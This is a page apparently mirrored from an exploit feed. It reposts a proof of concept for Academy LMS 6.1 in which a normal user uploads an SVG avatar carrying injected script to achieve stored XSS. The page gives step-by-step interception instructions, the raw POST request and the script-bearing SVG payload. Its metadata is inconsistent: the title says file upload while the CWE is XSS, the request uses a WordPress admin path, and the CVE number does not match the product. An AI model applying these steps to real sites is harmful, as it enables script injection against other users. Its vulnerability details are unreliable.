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Academy LMS 6.1 - Arbitrary File Upload

CVE Category Price Severity
CVE-2021-40847 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2023-08-19
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023080077

Below is a copy:

Academy LMS 6.1 - Arbitrary File Upload
# Exploit Title: Academy LMS 6.1 - Arbitrary File Upload
# Exploit Author: CraCkEr
# Date: 05/08/2023
# Vendor: Creativeitem
# Vendor Homepage: https://academylms.net/
# Software Link: https://demo.academylms.net/
# Tested on: Windows 10 Pro
# Impact: Allows User to upload files to the web server
# CWE: CWE-79 - CWE-74 - CWE-707


## Description

Allows Attacker to upload malicious files onto the server, such as Stored XSS


## Steps to Reproduce:

1. Login as a [Normal User]
2. In [User Dashboard], go to [Profile Settings] on this Path: https://website/dashboard/#/settings
3. Upload any Image into the [avatar]
4. Capture the POST Request with [Burp Proxy Intercept]
5. Edit the file extension to .svg & inject your [Evil-Code] or [Stored XSS]

-----------------------------------------------------------
POST /wp-admin/async-upload.php HTTP/2

-----------------------------------------------------------
Content-Disposition: form-data; name="async-upload"; filename="ahacka.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS by CraCkEr");
  </script>
</svg>
-----------------------------------------------------------

6. Send the Request
7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS]
8. Access your Uploded Evil file on this Path: https://website/wp-content/uploads/***/**/*****.svg



[-] Done

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